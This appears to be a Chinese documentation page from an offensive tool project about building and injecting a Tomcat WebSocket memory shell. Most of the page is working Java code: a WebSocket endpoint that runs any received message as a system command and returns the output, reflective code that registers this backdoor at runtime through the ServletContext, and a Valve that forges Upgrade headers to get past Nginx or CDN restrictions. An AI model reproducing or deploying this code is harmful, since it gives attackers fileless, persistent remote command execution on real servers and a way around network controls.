mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
377 lines
17 KiB
Plaintext
377 lines
17 KiB
Plaintext
---
|
||
title: Tomcat WebSocket
|
||
---
|
||
|
||
## 关于 WebSocket
|
||
|
||
WebSocket 是一种网络技术，可通过单个 TCP 套接字连接在客户端和服务器之间即时传送双向、全双工信息。它被广泛用于实时应用程序，如聊天应用程序、在线游戏和实时数据流。
|
||
|
||
Java WebSocket 1.0（JSR 356）是 Java EE 7 的一部分，定义了用于在 Java 平台上创建 WebSocket 应用程序的 API。Tomcat 从版本 7.0.27 开始支持 Java WebSocket API。
|
||
|
||
## 定义 Endpoint
|
||
|
||
JSR 356 定义了两种方式来声明 Endpoint：注解式和接口式。注解式使用注解（如 @ServerEndpoint），而接口式通过实现 Endpoint 类。而注入内存马的场景主要是用于动态添加，因此仅介绍接口式。
|
||
|
||
```java
|
||
import javax.websocket.Endpoint;
|
||
import javax.websocket.EndpointConfig;
|
||
import javax.websocket.MessageHandler;
|
||
import javax.websocket.Session;
|
||
import javax.websocket.CloseReason;
|
||
import java.io.IOException;
|
||
|
||
public class ExampleEndpoint extends Endpoint {
|
||
|
||
@Override
|
||
public void onOpen(final Session session, EndpointConfig config) {
|
||
System.out.println("连接已打开：" + session.getId());
|
||
session.addMessageHandler(new MessageHandler.Whole<String>() {
|
||
@Override
|
||
public void onMessage(String message) {
|
||
System.out.println("收到消息：" + message);
|
||
try {
|
||
session.getBasicRemote().sendText("Echo: " + message);
|
||
} catch (IOException e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
});
|
||
}
|
||
|
||
@Override
|
||
public void onClose(Session session, CloseReason closeReason) {
|
||
System.out.println("连接关闭：" + session.getId());
|
||
}
|
||
|
||
@Override
|
||
public void onError(Session session, Throwable thr) {
|
||
System.out.println("发生错误：" + thr.getMessage());
|
||
}
|
||
}
|
||
```
|
||
|
||
通过继承 `javax.websocket.Endpoint` 类，在 `onOpen` 方法中注册消息处理器。
|
||
|
||
在内存马场景下，可以在 onMessage 方法中添加恶意逻辑，例如执行系统命令或加载其他恶意代码，以下是命令回显 WebSocket Endpoint 示例：
|
||
|
||
```java
|
||
import javax.websocket.Endpoint;
|
||
import javax.websocket.EndpointConfig;
|
||
import javax.websocket.MessageHandler;
|
||
import javax.websocket.Session;
|
||
import java.io.InputStream;
|
||
import java.util.Scanner;
|
||
|
||
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||
|
||
private Session session;
|
||
|
||
@Override
|
||
public void onMessage(String cmd) {
|
||
try {
|
||
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
|
||
} catch (Throwable e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
|
||
@Override
|
||
public void onOpen(final Session session, EndpointConfig config) {
|
||
this.session = session;
|
||
session.addMessageHandler(this);
|
||
}
|
||
}
|
||
```
|
||
|
||
## 注册 Endpoint
|
||
|
||
通过继承 javax.websocket.server.ServerApplicationConfig 实现动态注册 Endpoint：
|
||
|
||
```java
|
||
import javax.websocket.Endpoint;
|
||
import javax.websocket.server.ServerApplicationConfig;
|
||
import javax.websocket.server.ServerEndpointConfig;
|
||
import java.util.HashSet;
|
||
import java.util.Set;
|
||
|
||
public class WebSocketConfig implements ServerApplicationConfig {
|
||
@Override
|
||
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> scannedEndpointClasses) {
|
||
Set<ServerEndpointConfig> result = new HashSet<>();
|
||
ServerEndpointConfig config = ServerEndpointConfig.Builder
|
||
.create(ExampleEndpoint.class, "/api/ws")
|
||
.build();
|
||
|
||
result.add(config);
|
||
|
||
return result;
|
||
}
|
||
|
||
@Override
|
||
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {
|
||
return scanned;
|
||
}
|
||
}
|
||
```
|
||
|
||
在 Tomcat 中 org.apache.tomcat.websocket.server.WsSci 会扫描并注册实现了 ServerApplicationConfig 的类，从而动态添加 WebSocket Endpoint。
|
||
|
||
```java
|
||
@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class,
|
||
Endpoint.class})
|
||
public class WsSci implements ServletContainerInitializer {
|
||
@Override
|
||
public void onStartup(Set<Class<?>> clazzes, ServletContext ctx)
|
||
throws ServletException {
|
||
WsServerContainer sc = init(ctx, true);
|
||
// 扫描继承的 ServerApplicationConfig 类，并调用其 getEndpointConfigs 方法
|
||
Set<ServerEndpointConfig> filteredEndpointConfigs = ...;
|
||
try {
|
||
for (ServerEndpointConfig config : filteredEndpointConfigs) {
|
||
sc.addEndpoint(config); // [!code highlight]
|
||
}
|
||
// ...
|
||
} catch (DeploymentException e) {
|
||
throw new ServletException(e);
|
||
}
|
||
}
|
||
|
||
static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) {
|
||
WsServerContainer sc = new WsServerContainer(servletContext);
|
||
servletContext.setAttribute("javax.websocket.server.ServerContainer", sc); // [!code highlight]
|
||
// ...
|
||
return sc;
|
||
}
|
||
}
|
||
```
|
||
|
||
代码中有两个关键的地方：
|
||
|
||
1. init 方法中，注册的 WsServerContainer 对象会被放入 ServletContext 中，key 为 "javax.websocket.server.ServerContainer"，高版本为 "jakarta.websocket.server.ServerContainer"。
|
||
2. 调用 WsServerContainer 的 addEndpoint 方法注册 Endpoint。
|
||
|
||
因此，我们可以通过 ServletContext 获取 WsServerContainer 对象，初始化 Endpoint 并且构建 ServerEndpointConfig 最后调用 addEndpoint 方法注册我们的恶意 Endpoint。
|
||
|
||
```java
|
||
private void inject(Object context, Object obj) throws Exception {
|
||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||
if (container == null) {
|
||
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||
}
|
||
|
||
if (container == null) {
|
||
throw new RuntimeException("container is null");
|
||
}
|
||
|
||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||
return;
|
||
}
|
||
|
||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||
Class<?> serverEndpointConfigClass;
|
||
Class<?> builderClass;
|
||
try {
|
||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||
} catch (ClassNotFoundException e) {
|
||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||
}
|
||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||
constructor.setAccessible(true);
|
||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||
|
||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||
}
|
||
```
|
||
|
||
## 绕过 Nginx 或 CDN 限制
|
||
|
||
由于在 Tomcat 中实现 WebSocket 使用的是 Upgrade 协议，因此需要 `Upgrade: websocket` 和 `Connection: upgrade` 来将请求转为 WebSocket 连接，Nginx 或 CDN 默认情况下根本不会转发这些头部，甚至会设置 `Connection: close` 导致无法连接到 WebSocket 内存马。以下是尝试在 Nginx 的情况下连接 WebSocket 所能拿到的请求头部：
|
||
|
||
```txt
|
||
host = 127.0.0.1
|
||
x-real-ip = 192.168.97.1
|
||
x-forwarded-for = 192.168.97.1
|
||
x-forwarded-proto = http
|
||
connection = close
|
||
sec-websocket-version = 13
|
||
sec-websocket-key = 4yY8pZQPUv6RlRoPgh7SaA==
|
||
sec-websocket-extensions = permessage-deflate; client_max_window_bits
|
||
```
|
||
|
||
在实现细节上，Tomcat 默认会注册一个名为 `org.apache.tomcat.websocket.server.WsFilter` 的 Filter，用于将 HTTP 请求升级为 WebSocket 协议。
|
||
|
||
首先会在 `UpgradeUtil.isWebSocketUpgradeRequest` 判断请求头里面有没有 `Upgrade: websocket` 以及是不是 GET 请求。
|
||
其次在 `UpgradeUtil.doUpgrade` 方法中会检查 `Connection: upgrade` 以及 `Sec-WebSocket-Version: 13`，如果没有这些头部就会直接返回 400 或 426 错误码。
|
||
|
||
```java
|
||
public class WsFilter implements Filter {
|
||
private WsServerContainer sc;
|
||
|
||
public void init(FilterConfig filterConfig) throws ServletException {
|
||
this.sc = (WsServerContainer)filterConfig.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
||
}
|
||
|
||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||
if (this.sc.areEndpointsRegistered()
|
||
&& UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
|
||
HttpServletRequest req = (HttpServletRequest)request;
|
||
HttpServletResponse resp = (HttpServletResponse)response;
|
||
String pathInfo = ...; // 获取请求路径
|
||
WsMappingResult mappingResult = this.sc.findMapping(path);
|
||
if (mappingResult != null) {
|
||
UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams());
|
||
}
|
||
}
|
||
chain.doFilter(request, response);
|
||
}
|
||
}
|
||
```
|
||
|
||
```java
|
||
public class UpgradeUtil {
|
||
|
||
public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) {
|
||
return request instanceof HttpServletRequest
|
||
&& response instanceof HttpServletResponse
|
||
&& headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket") // [!code highlight]
|
||
&& "GET".equals(((HttpServletRequest)request).getMethod());
|
||
}
|
||
|
||
public static void doUpgrade(WsServerContainer sc, HttpServletRequest req, HttpServletResponse resp, ServerEndpointConfig sec, Map<String, String> pathParams) throws ServletException, IOException {
|
||
String subProtocol = null;
|
||
if (!headerContainsToken(req, "Connection", "upgrade")) { // [!code highlight]
|
||
resp.sendError(400);
|
||
} else if (!headerContainsToken(req, "Sec-WebSocket-Version", "13")) { // [!code highlight]
|
||
resp.setStatus(426);
|
||
resp.setHeader("Sec-WebSocket-Version", "13");
|
||
}
|
||
// ...
|
||
}
|
||
}
|
||
```
|
||
|
||
结合上面通过 Nginx 转发到 Tomcat 的请求头，可以看到缺失的就是 `Upgrade: websocket` 和 `Connection: upgrade` 这两个请求头，导致请求无法进入 WsFilter 的逻辑从而连接失败。因此我们需要创建一个类似 WsFilter 的组件来补充缺失的请求头。考虑到 Filter 和 Valve 的注入代码量，这里选择了更轻量化的 Valve 组件：
|
||
|
||
```java
|
||
public class TomcatWsBypassValve implements Valve {
|
||
public static String headerName;
|
||
public static String headerValue;
|
||
|
||
@Override
|
||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||
try {
|
||
// 因为 Valve 所有请求都会经过，所以需要判断特定流量来防止对业务产生过大的影响
|
||
if (request.getHeader(headerName) != null
|
||
&& request.getHeader(headerName).contains(headerValue)) {
|
||
String pathInfo = request.getPathInfo();
|
||
String path;
|
||
if (pathInfo == null) {
|
||
path = request.getServletPath();
|
||
} else {
|
||
path = request.getServletPath() + pathInfo;
|
||
}
|
||
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
||
if (sc == null) {
|
||
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
|
||
}
|
||
if (sc == null) {
|
||
throw new ServletException("Server container not found");
|
||
}
|
||
addHeader(request, "Connection", "upgrade");
|
||
addHeader(request, "Upgrade", "websocket");
|
||
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
||
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
||
for (Method method : upgradeUtil.getMethods()) {
|
||
if ("doUpgrade".equals(method.getName())) {
|
||
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
|
||
}
|
||
}
|
||
return;
|
||
}
|
||
} catch (Throwable e) {
|
||
e.printStackTrace();
|
||
}
|
||
this.getNext().invoke(request, response);
|
||
}
|
||
|
||
private void addHeader(Request request, String key, String value) {
|
||
try {
|
||
Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
|
||
coyoteRequestField.setAccessible(true);
|
||
Object coyoteRequest = coyoteRequestField.get(request);
|
||
Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
|
||
Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
|
||
Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
|
||
Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
|
||
Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
|
||
setStringMethod.invoke(messageBytes, value);
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
|
||
private Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||
Field declaredField = obj.getClass().getDeclaredField(fieldName);
|
||
declaredField.setAccessible(true);
|
||
return declaredField.get(obj);
|
||
}
|
||
|
||
//...
|
||
}
|
||
```
|
||
|
||
因此我们注入能够绕过 Nginx 或 CDN 限制的 WebSocket 内存马，只需要在注入 WebSocket 内存马的基础上额外注入一个 Valve 内存马。
|
||
|
||
```java
|
||
private void inject(Object context, Object obj) throws Exception {
|
||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||
if (container == null) {
|
||
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||
}
|
||
|
||
if (container == null) {
|
||
throw new RuntimeException("container is null");
|
||
}
|
||
|
||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||
return;
|
||
}
|
||
|
||
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance(); // [!code ++]
|
||
Object pipeline = invokeMethod(context, "getPipeline", null, null); // [!code ++]
|
||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); // [!code ++]
|
||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); // [!code ++]
|
||
|
||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||
Class<?> serverEndpointConfigClass;
|
||
Class<?> builderClass;
|
||
try {
|
||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||
} catch (ClassNotFoundException e) {
|
||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||
}
|
||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||
constructor.setAccessible(true);
|
||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||
|
||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||
}
|
||
```
|
||
|
||
## 相关文档
|
||
|
||
- [Command 内存马使用教程](/docs/shelltool/command) - 了解如何生成和使用 WebSocket 命令执行内存马
|